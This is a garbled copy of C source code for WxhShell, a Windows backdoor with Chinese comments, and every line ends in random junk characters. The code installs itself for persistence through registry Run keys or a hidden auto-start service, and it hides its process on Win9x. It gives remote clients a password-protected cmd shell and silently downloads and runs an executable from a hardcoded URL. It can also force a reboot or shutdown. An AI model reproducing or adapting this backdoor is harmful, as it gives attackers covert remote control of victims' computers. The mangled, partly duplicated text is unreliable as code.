    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FFu9&8Y  
    if(Boot(SHUTDOWN)) ,.kha8v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CIb2J)qev  
    else { U)E(`{p]  
    closesocket(wsh); >8k _n  
    ExitThread(0); GBRa.;Kk  
    } /atW8 `&  
    break; R)QC)U  
    } V:VO[e<e  
  // 获取shell G LIi6  
  case 's': { aqj@Cjk4Z  
    CmdShell(wsh); gk"$,\DI  
    closesocket(wsh); c_vqL$Dl  
    ExitThread(0); (oEC6F  
    break; ?d{Na= O\  
  } xx#zN0I>-y  
  // 退出 `< xn8h9p  
  case 'x': { "|qqUKJZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); orWbU UC  
    CloseIt(wsh); ;[M}MFc/`  
    break; 9f&C  
    } ]sE?ezu  
  // 离开 C~o7X^[R\  
  case 'q': { j)<IRD^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >zXsNeGQR  
    closesocket(wsh); &6ZD136  
    WSACleanup(); e[&L9U6GW-  
    exit(1); KG|n  
    break; LR".pH13  
        } nV-mPyfL8  
  } ^,/RO5  
  } .k%[4:Fe  
?~hHGf\^b6  
  // 提示信息 Qo;zHZ'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VJickXA  
} u>kN1kQ8  
  } YoBPLS`K  
VQ7*Z5[1  
  return; B9NWW6S  
} 19E 8'@  
tt0f-:#  
// shell模块句柄 @zU6t|mhz  
int CmdShell(SOCKET sock) .J)I | '  
{ 6W]9$n\"?  
STARTUPINFO si; ABD)}n=%c  
ZeroMemory(&si,sizeof(si)); e?JW   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1~Oe=`{&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `w.n]TR  
PROCESS_INFORMATION ProcessInfo; _"bHe/'CI  
char cmdline[]="cmd"; <{V(.=11  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mxyb5h  
  return 0; glM$R&/  
} 7UVzp v  
`(_s|-$  
// 自身启动模式 KH(%?  
int StartFromService(void) gMWjk7  
{ <}<zgOT[1!  
typedef struct cx&>#8s&  
{ }o(zj=7  
  DWORD ExitStatus; MvK !u  
  DWORD PebBaseAddress; PIu1+k.r?  
  DWORD AffinityMask; yku5SEJ\  
  DWORD BasePriority; 0 q} *S~  
  ULONG UniqueProcessId; vms|x wb  
  ULONG InheritedFromUniqueProcessId; $~VRza 8Q  
}   PROCESS_BASIC_INFORMATION; K 1 a\b"  
lij.N) E  
PROCNTQSIP NtQueryInformationProcess; T 6)bD&  
b{L/4bu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5nT"rA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j bVECi-  
9Uj $K>:  
  HANDLE             hProcess; &PYK8}pBk3  
  PROCESS_BASIC_INFORMATION pbi; N G "C&v  
D~hg$XzK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6kpg+{;  
  if(NULL == hInst ) return 0; * w?N{.  
kYG/@7f/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QPx_-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pv_Jm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9N@W\DT  
tzZ`2pSh  
  if (!NtQueryInformationProcess) return 0; &O9 |#YUq  
H`1{_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W+UfGk}A  
  if(!hProcess) return 0; 6-z%633DL  
xTj|dza  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =e9>FWf>  
#gz M|  
  CloseHandle(hProcess); 9$cWU_q{  
X-6de>=   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $c 0h. t  
if(hProcess==NULL) return 0; e+~\+:[?  
,]46I.]  
HMODULE hMod; Qw-~>d  
char procName[255]; YB(Q\hT~\;  
unsigned long cbNeeded; p1Jh0o8  
b\yXbyjZ3.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -w9pwB  
\NgYTZ  
  CloseHandle(hProcess); N5Q[nd  
c3 jx+Q  
if(strstr(procName,"services")) return 1; // 以服务启动 ,\_1w  
qh9Z50E9  
  return 0; // 注册表启动 8K:y\1  
} lAb*fafQy  
2oVSn"  
// 主模块 '[AlhBX  
int StartWxhshell(LPSTR lpCmdLine) w>pq+og&  
{ \-h%O jf4  
  SOCKET wsl; `uOT+B%R  
BOOL val=TRUE; RL!Oi|8  
  int port=0; 9s\A\$("l  
  struct sockaddr_in door; }>>1<P<8-  
'u*D A|HC  
  if(wscfg.ws_autoins) Install(); ]V^iN=(_5  
Xe$I7iKD  
port=atoi(lpCmdLine); RRmz"j>  
$xzAv{  
if(port<=0) port=wscfg.ws_port; #.rdQ,)<  
b*a#<K$T_  
  WSADATA data; 7m4ao K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^q{9  
);#JL0I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EK {Eo9l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]{3)^axW;  
  door.sin_family = AF_INET; .~~nUu+M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8&GBV_`I  
  door.sin_port = htons(port); 4 {y)TZ  
!%CWZZ 6u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e7 ^mmm  
closesocket(wsl); ~xkeuU  
return 1; )eUh=eW  
} &XIt5<$~R  
[w0QZyUn  
  if(listen(wsl,2) == INVALID_SOCKET) { |Luqoa  
closesocket(wsl); kVkU)hqR  
return 1; GWZ }7ake  
} TrlZ9?3#D  
  Wxhshell(wsl); ;&9)I8Us  
  WSACleanup(); "|EM;o  
]D?"aX'q>  
return 0; ")SFi^]  
)#?"Gjf~  
} |n2qVR,  
) pzy  
// 以NT服务方式启动 Fq0i`~L~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dMh:ulIY>  
{ }tRm]w  
DWORD   status = 0; 9B{k , 1  
  DWORD   specificError = 0xfffffff; CSJdvxb  
{#ZlM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *:Y%HAy*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RSfQNc9Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @Xt*Snd  
  serviceStatus.dwWin32ExitCode     = 0; T. }1/S"m  
  serviceStatus.dwServiceSpecificExitCode = 0; I3a NFa}  
  serviceStatus.dwCheckPoint       = 0; 6/5YjO|a  
  serviceStatus.dwWaitHint       = 0; F0GxH?  
( l\1n;s*B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !\-{D$E?H  
  if (hServiceStatusHandle==0) return; +9M^7/}H  
:0Bq^G"ge  
status = GetLastError(); C6VLy x  
  if (status!=NO_ERROR) 6c}h(TkB  
{ "H7dft/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pr3qo4t.L  
    serviceStatus.dwCheckPoint       = 0; G? ])o5  
    serviceStatus.dwWaitHint       = 0; <`.X$r*  
    serviceStatus.dwWin32ExitCode     = status; FtpK)9/4  
    serviceStatus.dwServiceSpecificExitCode = specificError; I4'5P}1yp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )F}F_Y  
    return; Lb!Fcf|h  
  } ?qP7Y nl  
C_( *>!Z%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; caU0\VS  
  serviceStatus.dwCheckPoint       = 0; '9laa=H%8  
  serviceStatus.dwWaitHint       = 0; fa-IhB1!K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qB~rQPa  
} ,kiv>{  
/z4$gb7Y  
// 处理NT服务事件,比如:启动、停止 WYHQ?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X.OD`.!>  
{ q8FTi^=Kb  
switch(fdwControl) 0pK=o"^?@  
{ T5R-B=YWu  
case SERVICE_CONTROL_STOP: ;ic3).H  
  serviceStatus.dwWin32ExitCode = 0; |LRedD7n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { d=^}-^   
  serviceStatus.dwCheckPoint   = 0; iJ-23_D  
  serviceStatus.dwWaitHint     = 0; xqeyD*s  
  { 02f~En}>6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4QH3fTv   
  } !02`t4Zc-  
  return; ~Y`ldL  
case SERVICE_CONTROL_PAUSE: ,`|3KE9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y<?kzt  
  break; 0g +7uGp:  
case SERVICE_CONTROL_CONTINUE: {Bk[rCl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Z|jxy  
  break; rx'RSo#1O  
case SERVICE_CONTROL_INTERROGATE: !`k1:@NZ  
  break; _Us#\+]_:  
}; Z 8S\@I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wVX[)E\J  
} :{PJI,  
r(6Y*<  
// 标准应用程序主函数 GOj-)i/_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ot,jp|N>f~  
{ QCD .YFM  
EOIN^4V"  
// 获取操作系统版本 cbNTj$'b2u  
OsIsNt=GetOsVer(); F5LuSy+v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l>2E (Y|  
$~~Jw]   
  // 从命令行安装 p2Z?T}fa}&  
  if(strpbrk(lpCmdLine,"iI")) Install(); "An,Q82oHf  
z#zI1Am(O  
  // 下载执行文件 NvD7Krqwa  
if(wscfg.ws_downexe) { Ye\rB\-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S{Kiy#ltWc  
  WinExec(wscfg.ws_filenam,SW_HIDE); 61Bwb]\f/|  
} s28`OKC}  
~xbe~$$Q@  
if(!OsIsNt) { %d 1,a$*3}  
// 如果时win9x,隐藏进程并且设置为注册表启动 tnV/xk#!  
HideProc(); QHDXW1+|^  
StartWxhshell(lpCmdLine); BTl k Etm  
} NiNM{[3oS  
else p?{Xu4(  
  if(StartFromService()) ED2a}Tt>Z  
  // 以服务方式启动 h2)yq:87  
  StartServiceCtrlDispatcher(DispatchTable); }'5MK  
else dWM'fg  
  // 普通方式启动 *!4Z#Y  
  StartWxhshell(lpCmdLine); rK@8/?y5  
v V'EZ ?  
return 0; ob+b<HFv  
} aB*Bz]5;E  
5<iV2Hx  
) mI05  
}Q)#[#e  
=========================================== OtY`@\hy  
aFc1|.Nm  
.4_o>D  
A|CmlAW~^  
*]. 7dec/  
sWQfr$^A  
" `uq8G  
A ;G;^s  
#include <stdio.h> @d^Grm8E  
#include <string.h> CHdX;'`*  
#include <windows.h> aC^\(wp[  
#include <winsock2.h> heltgRt  
#include <winsvc.h> )bA;?i  
#include <urlmon.h> Bt[/0>i  
)}''L{k-  
#pragma comment (lib, "Ws2_32.lib") ?RX3MUN  
#pragma comment (lib, "urlmon.lib") #c!*</  
>lmi@UN|k  
#define MAX_USER   100 // 最大客户端连接数 +ylTGSZS  
#define BUF_SOCK   200 // sock buffer PUz*!9HC  
#define KEY_BUFF   255 // 输入 buffer ZufR {^W  
OGBHos  
#define REBOOT     0   // 重启 "HX<,l8f%  
#define SHUTDOWN   1   // 关机 fs|)l$Rd  
UN7EF/!Zz  
#define DEF_PORT   5000 // 监听端口 zUDg&-J3  
V@\gS"Tu  
#define REG_LEN     16   // 注册表键长度 'QG xd!4  
#define SVC_LEN     80   // NT服务名长度 SIe="YG]<  
/;{P}-H`ei  
// 从dll定义API l+ 3[ KCE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zqd@EF6/bz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LO'**}vm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ylUb9KusOx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d]`CxI]  
\/E>4)MDy  
// wxhshell配置信息 B*qi_{Gp  
struct WSCFG { Pih tf4i  
  int ws_port;         // 监听端口 !y#"l$"xK  
  char ws_passstr[REG_LEN]; // 口令 < 3(LWxw  
  int ws_autoins;       // 安装标记, 1=yes 0=no uvgdY  
  char ws_regname[REG_LEN]; // 注册表键名 h}-3\8 >  
  char ws_svcname[REG_LEN]; // 服务名 1ofKt=|=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vrl;"Fm+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d[[]P X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cD@(/$wt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .=U#eHBdAQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Pnw]Tm}g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zh4# A <e  
1pQn8[sc@  
}; Ulhk$CPA  
}L &^xe  
// default Wxhshell configuration m2 -Sx  
struct WSCFG wscfg={DEF_PORT, =Xm@YVf&ZD  
    "xuhuanlingzhe", (As#^q\>B  
    1, k[0-CB  
    "Wxhshell", w|3z;-#Q;  
    "Wxhshell", ?=>+LqP  
            "WxhShell Service", Ytgcs( /$  
    "Wrsky Windows CmdShell Service", $r@ =*(  
    "Please Input Your Password: ", R[Ll59-  
  1, :#2Bw]z&z  
  "http://www.wrsky.com/wxhshell.exe", BMhy=+\  
  "Wxhshell.exe" [vge56h  
    }; U -Y03  
AUeu1(  
// 消息定义模块 <m:m &I 8@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %lL.[8r|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]d55m/(   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >d~WH@o`G  
char *msg_ws_ext="\n\rExit."; V=)_yIS  
char *msg_ws_end="\n\rQuit."; *?o{9v5}(  
char *msg_ws_boot="\n\rReboot..."; /`9sPR6e  
char *msg_ws_poff="\n\rShutdown..."; z+ s6)Ad  
char *msg_ws_down="\n\rSave to "; Q*~LCtrI  
hhb?6]Z/  
char *msg_ws_err="\n\rErr!"; #btLa\HJ  
char *msg_ws_ok="\n\rOK!"; 0fc/wfv <  
0?sRDYaX;c  
char ExeFile[MAX_PATH]; aHlcfh9|  
int nUser = 0; b`L%t:u{d  
HANDLE handles[MAX_USER]; Cv }Qwy  
int OsIsNt; "~`I::'c  
Z.d 7U~_  
SERVICE_STATUS       serviceStatus; FE" y\2}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; - *F(7$  
Kqun^"Df  
// 函数声明 H|,Oswk~-  
int Install(void);  zG+R5:  
int Uninstall(void); 4!$s}V=6  
int DownloadFile(char *sURL, SOCKET wsh); za#s/b$[  
int Boot(int flag); U QE qX  
void HideProc(void); vQ<90Z xqB  
int GetOsVer(void); %509\;el  
int Wxhshell(SOCKET wsl); V7#Ffi  
void TalkWithClient(void *cs); 6W@UJx}w5  
int CmdShell(SOCKET sock); L{:9Cx!F  
int StartFromService(void); Tskq)NU  
int StartWxhshell(LPSTR lpCmdLine); u83J@nDQ  
P-`M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q=BZ N]g2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OQ8 bI=?[x  
m#ZO`W  
// 数据结构和表定义 U ?'vXa  
SERVICE_TABLE_ENTRY DispatchTable[] = YRv&1!VLE  
{ HN_d{ 3  
{wscfg.ws_svcname, NTServiceMain}, "nm FzN  
{NULL, NULL} d\%WgH  
}; &P.4(1sC  
wpN k+;  
// 自我安装 GGe,fb<k  
int Install(void) ;?W|#*=R  
{ D*Ik7Pe  
  char svExeFile[MAX_PATH]; ?aC'.jH+  
  HKEY key; y[>;]R7'  
  strcpy(svExeFile,ExeFile); )v]/B+  
ng:kA%! Q  
// 如果是win9x系统,修改注册表设为自启动 n$U#:aQE  
if(!OsIsNt) { "~=mG--I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IC6gU$e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u583_k%  
  RegCloseKey(key); $k0k k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lAzj N~V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |UP `B|  
  RegCloseKey(key); @lCJ G!u  
  return 0; 7~&/_3  
    } !l_lo`)  
  } Ad:TYpLD  
} .P.z B}0=  
else { tyfTU5"x  
ygeDcnvR]  
// 如果是NT以上系统,安装为系统服务 U`,0]"Qk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FW) x:2BG  
if (schSCManager!=0) m.px>v-  
{ 9m|kgY# 4  
  SC_HANDLE schService = CreateService p`nPhk,:b  
  ( ;2@BO-3K  
  schSCManager, Vm5c+;  
  wscfg.ws_svcname, Qd=^S^}(  
  wscfg.ws_svcdisp, V?Z.\~  
  SERVICE_ALL_ACCESS, $KUo s+%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qP2ekI:y  
  SERVICE_AUTO_START, 7a#4tqM#  
  SERVICE_ERROR_NORMAL, e?`5>& Up  
  svExeFile, hdnTXs@z  
  NULL, ET_W-  
  NULL, 4Y,R-+f  
  NULL, _2k]3z?  
  NULL, 1^ _U;O:I  
  NULL iv?gZg   
  ); 4 SHU  
  if (schService!=0) Rop'e8Q  
  { ZIPl7tTw  
  CloseServiceHandle(schService); _ ):d`O e  
  CloseServiceHandle(schSCManager); {g2@6ct  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #?*WPq  
  strcat(svExeFile,wscfg.ws_svcname); pAb.c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NM]s8cK_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <EPj$::  
  RegCloseKey(key); wj[\B*$?  
  return 0; XO-Prs  
    } u$*56y   
  } fGw^:,B  
  CloseServiceHandle(schSCManager); A,V\"KU  
} BYO"u6  
} chV9_(8  
6el;Erp  
return 1; T21ky>8E  
} e%4:) IV!;  
CNr/U*+  
// 自我卸载 Dq36p${ \W  
int Uninstall(void) P&j (,7  
{ )+6v  
  HKEY key; psnTFe  
K`/`|1  
if(!OsIsNt) { YY&l?*M<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S-7'it!1  
  RegDeleteValue(key,wscfg.ws_regname); D\@m6=L  
  RegCloseKey(key); VR+<v   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l IUuA  
  RegDeleteValue(key,wscfg.ws_regname); GuGOePV  
  RegCloseKey(key); #VB')^d<U  
  return 0; ,ldI2 ]  
  } [,K.*ZQi  
} CT KG9 T  
} 0{[m%eSK'  
else { %1.]c6U  
\A#1y\ok  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A#nun  
if (schSCManager!=0) :8 jhiB)  
{ ~7$&WzD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]W Zq^'q.  
  if (schService!=0) ;w6>"O$a  
  { |\n@3cIK  
  if(DeleteService(schService)!=0) { sf OHl  
  CloseServiceHandle(schService);  ] GHt"  
  CloseServiceHandle(schSCManager); [/ !;_b\X  
  return 0; UPc<gB  
  } 6`0mta Q  
  CloseServiceHandle(schService); j4>a(  
  } e$u4vC~  
  CloseServiceHandle(schSCManager); c&X{dJWD   
} o\88t){/kB  
}  *[r!  
Mmo6MZ^  
return 1; Q\GDrdA  
} K,6b3kk  
N0K){  
// 从指定url下载文件 wO:Sg=,  
int DownloadFile(char *sURL, SOCKET wsh)  U3izvM  
{ I=7Y]w=  
  HRESULT hr;  QV h4  
char seps[]= "/"; !eAo  
char *token; (x"BR  
char *file; *\wp?s>-t  
char myURL[MAX_PATH]; d{3@h+zL  
char myFILE[MAX_PATH]; oT{@_U{*J  
QJ F=UB  
strcpy(myURL,sURL); 1=|7mehL%  
  token=strtok(myURL,seps); {^ m(,K_  
  while(token!=NULL) ?_oF:*~\  
  { [F_/2+e  
    file=token; [97KBoSU  
  token=strtok(NULL,seps); c9\2YKo  
  } anj#@U;!  
+vNZW@_$D  
GetCurrentDirectory(MAX_PATH,myFILE); ari7iF ~j  
strcat(myFILE, "\\"); ^A][)*SZ  
strcat(myFILE, file); YXU|h  
  send(wsh,myFILE,strlen(myFILE),0); $B#6tk~u  
send(wsh,"...",3,0); =\,uy8HX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zP:cE  
  if(hr==S_OK) FYb34LY  
return 0; W(25TbQ  
else 65oWD-  
return 1; zOHypazOTq  
kWlAY%   
} /Y&02L%\3s  
*d(SI<j  
// 系统电源模块 @v}B6j b;  
int Boot(int flag) LuR,f"%2  
{ )jCo%P/  
  HANDLE hToken; d'*]ns  
  TOKEN_PRIVILEGES tkp; =(EI~N  
E"%2)  
  if(OsIsNt) { aYn8 ^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :^'O}2NP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b$Hz3T J(  
    tkp.PrivilegeCount = 1; xq %{}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BR v+.(S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `^(jm  
if(flag==REBOOT) { `k; KBW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZUp\Ep}  
  return 0; Y4F6qyP)"  
} 1[E#vdbT  
else { 4Hb $0l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aup6?'G;  
  return 0; dI*'!wK  
} DY{cQb  
  } e,k2vp!<&  
  else { W%e_~$H0  
if(flag==REBOOT) { Sf/q2/r?6[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x|0:P sE  
  return 0; #5&jt@NS  
} .fzu"XAPu  
else { cBYfXI0`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Eq^uKi  
  return 0; v8/6wy?  
} 8L5!T6+D&  
} Q<6P. PTya  
mPPk )qy  
return 1; ~=&t0D  
} 85IMdZ7I  
]~>K\i  
// win9x进程隐藏模块 Ch_xyuJ  
void HideProc(void) _P,^_%}V06  
{ Te{ *6-gO3  
BHj\G7,S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B|%tE{F  
  if ( hKernel != NULL ) 2X88:  
  { V (rr"K+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g,]@4|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "PH6e bm  
    FreeLibrary(hKernel); -6=<#9R  
  } )9=(|Lp  
`@`1pOb  
return; RGD]8 mw  
} td{O}\s7D  
XM|%^ry  
// 获取操作系统版本 i3mAfDF  
int GetOsVer(void) 2UP,Tgn..  
{ |%D%0TR&Q  
  OSVERSIONINFO winfo; Zg:gY"^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !EF(*~r!9L  
  GetVersionEx(&winfo); )F pJ 1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K(T\9J.  
  return 1; 'GJVWpvUU  
  else MR'o{?{e`  
  return 0; n&-496H  
} *~z#.63oZ  
DB`QsiC)  
// 客户端句柄模块 zzZg$9PT[  
int Wxhshell(SOCKET wsl) ]M,06P>?  
{ wk\L*\@Y}  
  SOCKET wsh; % do1i W  
  struct sockaddr_in client; h4fLl3%H  
  DWORD myID; \k.vN@K#  
~ eN8|SR  
  while(nUser<MAX_USER) b X)|MiWI  
{ ~!+ _[uJ  
  int nSize=sizeof(client); cs_}&!c{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zv qn%K],  
  if(wsh==INVALID_SOCKET) return 1; $T }Tz7(  
-NM0LTF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hPdx(E)8!d  
if(handles[nUser]==0) 80ZnM%/}  
  closesocket(wsh); Y/U{Qc\ 6  
else o*ANi;1]&B  
  nUser++; 6ri#Lw  
  } 8 #oR/Nt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #Ogt(5Sd  
|$hgT K[L  
  return 0; I__4I{nI  
} ])y{BlZ  
zW4 O4b$T  
// 关闭 socket <%bw/  
void CloseIt(SOCKET wsh) `Y3(~~YGn  
{ 6~5$s1Yc  
closesocket(wsh); b;9n'UX\  
nUser--; :kw0y  
ExitThread(0); IlLn4Iw  
} <9@7,2  
S2=%x.  
// 客户端请求句柄 0^_MN~s(X  
void TalkWithClient(void *cs) C|z%P}u#p  
{ #i@h{ R01  
%!.M~5mCd  
  SOCKET wsh=(SOCKET)cs; t 6u-G+}  
  char pwd[SVC_LEN]; 4/wwn6I}G  
  char cmd[KEY_BUFF]; R]b! $6Lt  
char chr[1]; oL *n>dH  
int i,j; a0d ,  
\3{3ly~L  
  while (nUser < MAX_USER) { c<qe[iyt/  
VEh]p5D  
if(wscfg.ws_passstr) { PHR#>ZD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +cfziQ$'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ++92:decM  
  //ZeroMemory(pwd,KEY_BUFF); gOE_ ]  
      i=0; gM_:l  
  while(i<SVC_LEN) { {HZS:AV0  
W7!.#b(hU  
  // 设置超时 eihZp  
  fd_set FdRead; kl{6]39  
  struct timeval TimeOut; (zah890//  
  FD_ZERO(&FdRead); Uu2N9.5  
  FD_SET(wsh,&FdRead); ha'qIT 3&  
  TimeOut.tv_sec=8; 2uu[52H8d%  
  TimeOut.tv_usec=0; [V< 1_zqt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~%aJFs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q]v,  
#)i&DJ^Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aG3k4  
  pwd=chr[0]; f4]&pcK  
  if(chr[0]==0xd || chr[0]==0xa) { U6i~A9;  
  pwd=0; +G!v!(Ob+  
  break; ABWb>EZ8  
  } +rQg7a}  
  i++; URw!7bTz  
    } ZDlu1>Q  
!V( `ZH  
  // 如果是非法用户,关闭 socket /Nqrvy=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >6K4b/.5w  
} m'.T2e.u  
4]"w b5%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fu>Qi)@6a1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fg@ ACv'@  
3Wj,}  
while(1) { ~x+Ykq0  
Hs<n^fyf  
  ZeroMemory(cmd,KEY_BUFF); F^TAd  
D%GGu"@GO  
      // 自动支持客户端 telnet标准   ~j}J<4&OvC  
  j=0; ]S]"`;Wh  
  while(j<KEY_BUFF) { q6)p*}-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b3^R,6]x&  
  cmd[j]=chr[0]; (6#M9XL  
  if(chr[0]==0xa || chr[0]==0xd) { iQj2UTds3  
  cmd[j]=0; (1y='L2rj  
  break; p5qx=p~c  
  } le2/Zs$  
  j++; v|y<_Ya  
    } s;>VeD)*)  
:xN8R^(  
  // 下载文件 ;Bnr=' [  
  if(strstr(cmd,"http://")) { x?>!UqgkY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P7Z<0Dt\}  
  if(DownloadFile(cmd,wsh)) T:)% P6/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ._K$0U!  
  else hwZ6 .  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5^o3y.J?P  
  } >~>{;Wq(p+  
